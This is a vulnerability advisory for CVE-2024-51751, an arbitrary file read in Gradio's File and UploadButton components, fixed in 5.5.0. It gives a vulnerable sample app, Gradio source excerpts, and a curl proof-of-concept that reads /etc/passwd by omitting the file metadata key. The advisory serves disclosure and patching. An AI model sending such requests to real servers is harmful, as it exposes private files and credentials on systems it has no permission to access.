CVE-2024-51751

### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. ### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` If we run this application and make the following request (which attempts to read the `/etc/passwd` file) ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` Then this results in the following error on the server ``` gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user. ``` This is expected. However, if we now remove the `"meta":{"_type":"gradio.FileData"}` from the request: ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` This doesn't cause an error and results in the content of /etc/passwd being shown in the response! This works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation ``` return await client_utils.async_traverse( data, _move_to_cache, client_utils.is_file_obj_with_meta ) ``` where `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path: ``` def is_file_obj_with_meta(d) -> bool: """ Check if the given value is a valid FileData object dictionary in newer versions of Gradio where the file objects include a specific "meta" key, e.g. { "path": "path/to/file", "meta": {"_type: "gradio.FileData"} } """ return ( isinstance(d, dict) and "path" in d and isinstance(d["path"], str) and "meta" in d and d["meta"].get("_type", "") == "gradio.FileData" ) ``` For example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`. Then, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places) ### PoC As described above, run the following Gradio app ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` And make the following request ``` curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}' ``` ### Impact Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.

Gradio is an open-source Python package designed to enable quick builds of a demo or web application. If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. This issue has been addressed in release version 5.5.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.